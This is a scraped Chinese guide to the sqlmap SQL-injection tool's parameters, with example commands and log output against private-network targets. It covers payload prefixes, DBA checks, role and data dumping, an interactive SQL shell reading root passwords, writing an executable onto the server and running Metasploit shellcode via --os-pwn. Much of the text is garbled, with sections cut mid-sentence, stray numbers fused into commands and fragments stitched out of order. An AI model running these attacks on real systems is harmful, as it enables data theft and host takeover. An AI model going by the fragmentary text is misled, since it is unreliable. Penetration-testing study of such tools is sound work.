2023年11月28日发(作者:)

sqlmap详细参数

⼀、Sqlmap是什么

Sqlmap是开源的⾃动化SQL注⼊⼯具,由Python写成,具有如下特点:

完全⽀持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和

Informix等多种数据库管理系统。

参数:-d

使⽤参数“-d”直接连接数据库,该参数后跟⼀个表⽰数据库的字符串,该字符串有以下两种格式:

(1).当数据库管理系统是MySQL、Oracle、Microsoft SQL Server或PostgreSQL等时格式为:

1DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

(2).当数据库管理系统是SQLite、Microsoft Access或Firebird等时格式为:

只⽤勾选代理中的请求数据就⾜够了,⽇志⽂件路径可随意设置,这⾥我设置⽇志⽂件名为,放在⽤户主⽬录中。

设置浏览器的代理为Burp,随便浏览⼏个⽹页后发现竟然已经有70多K⼤,查看其内容,部分输出如下:

22324

参数:-m

参数“-u”⼀次只能指定⼀个URL,若有多个URL需要测试就显得很不⽅便,我们可⽤将多个URL以⼀⾏⼀个的格式保存在⽂本⽂件中,然后使⽤参数“-m”,后跟该⽂本⽂

件路径,让Sqlmap依次读取⽂件中的URL作为攻击⽬标。

如我们有⽂件,内容为:

123/?q=/?id=/vuln3/id/1*

⽅法

参数:–method

⼀般来说,Sqlmap能⾃动判断出是使⽤GET⽅法还是POST⽅法,但在某些情况下需要的可能是PUT等很少见的⽅法,此时就需要⽤参数“–method”来指定⽅法。如:“–

method=PUT”。

参数:–user-agent和–random-agent

默认情况下Sqlmap发送的HTTP请求中的User-Agent值为:

1

使⽤参数“–user-agent”可以指定⼀个User-Agent值。但正常的User-Agent值长什么样我们可能并不记得,所以有了参数“–random-agent”,使⽤该参数,Sqlmap会

“–auth-cred”⽤于给出⾝份认证的凭证,格式是“username:password”。

如:

1python -u "192.168.136.131/sqlmap/mysql/basic/get_?id=1" --auth-type Basic --auth-cred "testuser:testpass"

超时时间默认为30秒,可以⽤参数“–timeout”指定超时时间,如“–timeout 44.5”表⽰设置超时时间为44.5秒。

16.超时后最⼤重试次数

22.强制使⽤SSL

参数:–force-ssl

这些参数被⽤于指定要测试的参数、定制攻击荷载和选择篡改脚本。

1.要测试的注⼊点

参数:-p和–skip

默认情况下Sqlmap会测试所有GET参数和POST参数,当level⼤于等于2时会测试cookie参数,当level⼤于等于3时会测试User-Agent和Referer。实际上还可以⼿动指定⼀

个以逗号分隔的、要测试的参数列表,该列表中的参数不受level限制。这就是“-p”的作⽤。

3.指定运⾏数据库管理系统的操作系统

有时只有在payload后添加⽤户指定的后缀才能注⼊成功。另⼀种场景是⽤户已经知道查询语句怎么写的,此时可以直接指定payload的前缀和后缀来完成检测和注⼊。

⼀个有漏洞的源码⽰例如下:

1query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

对这样的例⼦可以让Sqlmap⾃动检测边界范围也可以⼿动指出边界范围:

1python -u "192.168.136.131/sqlmap/mysql/get_str_?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"

最终SQL语句会变成:

1SELECT * FROM users WHERE id=('1') AND ('abc'='abc') LIMIT 0, 1

[...] [13:00:12] [INFO] testing for SQL injection on GET parameter 'id' [13:00:12] [INFO] testing 'AND

boolean-based blind - WHERE or HAVING clause' [13:00:12] [PAYLOAD] 1) AND 9902=5632 AND

(5820=5820 [13:00:12] [PAYLOAD] 1) AND 6711=6711 AND (7174=7174 [13:00:12] [PAYLOAD] 1

17181920

参数:–code

4.联合查询注⼊中字符设置

参数:–union-char

默认情况下Sqlmap进⾏联合查询注⼊时使⽤空字符(NULL)。但当level值较⾼时Sqlmap会⽣成随机数⽤于联合查询注⼊。

因为有时使⽤空字符注⼊会失败⽽使⽤随机数会成功。

实际上若是攻击者没有控制任何⼀台域名解析服务器,那么她可以注册⼀个新域名,再⾃⼰搭建⼀台域名解析服务器⽤于接受数据。

参数:–all

使⽤这⼀个参数就能列举所有可访问的数据。但不推荐使⽤,因为这会发送⼤量请求,把有⽤和⽆⽤的信息都列举出来。

2.列举数据库管理系统信息

使⽤这⼀参数有可能能够检测当前⽤户是否是管理员,若是管理员则返回True,否则返回False。如:

1python -u "192.168.56.102/?id=1" --is-dba

部分输出为:

[10:05:16] [INFO] testing if current user is DBA [10:05:16] [INFO] fetching current user [10:05:16] [WARNING] reflective value(s) found and

filtering outcurrent user is DBA: True

12

7.列举数据库管理系统中的⽤户

参数:–roles

当前⽤户有读取包含了数据库管理系统中⽤户信息的系统表的权限时使⽤这⼀参数可以列举数据库管理系统中⽤户的⾓⾊。

若想只枚举特定⽤户的⾓⾊使⽤参数“-U”指定⽤户,可⽤“CU”来代表当前⽤户。

部分输出如下:

[...]Database: mysqlTable: procs_priv[8 columns]+--------------+----------------------

------------------+| Column | Type |+--------------+----------

------------------------------+| Timestamp | timestamp ||

User | char(16) || Db |

char(64) || Grantor | char(77) ||

Host | char(60) || Proc_priv | set('Execute','Alter

8293031

“–where”参数会被Sqlmap转换成WHERE⼦句,如“–where id>3”会只列举列id的值⼤于3的数据。

如你所见,Sqlmap⼗分灵活。可以囫囵地列举整个数据库,也可以细致地在表中选择列,在列中⼜选择特定数据。

17.列举所有数据库所有表中所有数据

参数:–dump-all和–exclude-sysdbs

参数“–sql-shell”提供⼀个交互式的SQL语句执⾏环境,⽀持Tab键补全和命令历史记录。如:

1python -u "192.168.56.102/?id=1" --sql-shell

部分输出如下:

[15:06:47] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTERsql-shell> select 'foo';[15:07:41] [INFO] fetching SQL

SELECT statement query output: 'select 'foo''select 'foo';: 'foo'sql-shell> select password from where user='root';

1112

$ file /software//software/: PE32 executable for MS Windows (console) Intel 80386 32-

bit$ ls -l /software/-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/$

python -u "192.168.136.129/sqlmap/mysql/get_?id=1" --file-write

17

"/software/" --file-dest "C:/WINDOWS/Temp/" -v 1[...][hh:mm:29] [INFO] the back-end DBMS is

MySQLweb server operating system: Windows 2003 or 2008web application technology: , Microsoft IIS 6.0,

Sqlmap要靠Metasploit⽣成shellcode,在数据库所在主机执⾏shellcode有以下四种技术:

数据库通过Sqlmap创建的⽤户⾃定义函数sys_bineval()在内存中执⾏Metasploit的shellcode。⽀持MySQL和PostgreSQL。参数“–os-pwn”。

通过Sqlmap⾃⼰的⽤户⾃定义函数(MySQL和PostgreSQL中的sys_exec(),微软SQL Server中的xp_cmdshell())上传并执⾏Metasploit的“stand-alone payload

stager”。参数:“–os-pwn”。

在Windows中Mysql默认以SYSTEM⾝份运⾏,但PostgreSQL⽆论是在Windows还是在Linux中都以低权限的⽤户postgres运⾏。SQL Server 2000默认以SYSTEM⾝份

运⾏,但SQL Server 2005到2008⼤多数时间以NETWORK SERVICE⾝份运⾏,少数时候以LOCAL SERVICE⾝份运⾏。

3.⾮交互模式

参数:–batch

Sqlmap对列举的数据有三种不同的输出格式:CSV、HTML和SQLITE。默认为CSV格式,每个数据表都被保存到⼀个⽂本⽂件中,⼀⾏是⼀条记录,以逗号分隔(或是

⽤“–csv-del”指定分隔符)。选择HTML格式,所有数据被保存在⼀个HTML⽂件中,数据存放在⼀个个table中。选择SQLITE格式,所有数据被保存在⼀个SQLITE⽂件

中,SQLITE中表名和结构会和原表相同。

9.估计完成时间

1234[xx:xx:14] [INFO] fetching banner[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESC

Query failed: ERROR: invalid input syntax for type numeric:

(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)[xx:xx:15] [INFO]

":vtj:506f737467726553514c20382e332e39206f6e2d70632d6c696e75782d676e752c20636f6d70696c656423206763632d342e3

14.指定输出⽬录路径

⼗九、杂项

1.使⽤简写

参数:-z

有些参数组合是被经常⽤到的,如“–batch –random-agent –ignore-proxy

–technique=BEU”,这样写⼀⼤串很不好看,在Sqlmap中,提供了⼀种简写的⽅式来缩短命令长度。

使⽤此参数可以在成功检测到注⼊点时发出“嘟”声。使⽤“-m”从⽇志⽂件中检测⼤量⽹站时该参数会格外有⽤。

5.清除Sqlmap创建的临时表和⾃定义函数

[xx:xx:23] [INFO] testing connection to the target URL[xx:xx:23] [INFO] heuristics detected web

page charset 'ascii'[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS

protection[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server

(United Security Providers)'[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC

Web Application Firewall (BinarySEC)'[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product

[*] starting at 19:51:36

[19:51:36] [DEBUG] cleaning up configuration parameters[19:51:36] [INFO] purging content of directory

1112

'/home/werner/.sqlmap/output'...[19:51:36] [DEBUG] changing file attributes[19:51:36] [DEBUG] writing random data to

files[19:51:36] [DEBUG] truncating files[19:51:36] [DEBUG] renaming filenames to random values[19:51:36] [DEBUG] renaming

directory names to random values[19:51:36] [DEBUG] deleting the whole directory tree

参数:–test-skip

若不想使⽤包含关键词“BENCHMARK”的payload可使⽤参数“–test-skip=BENCHMARK”。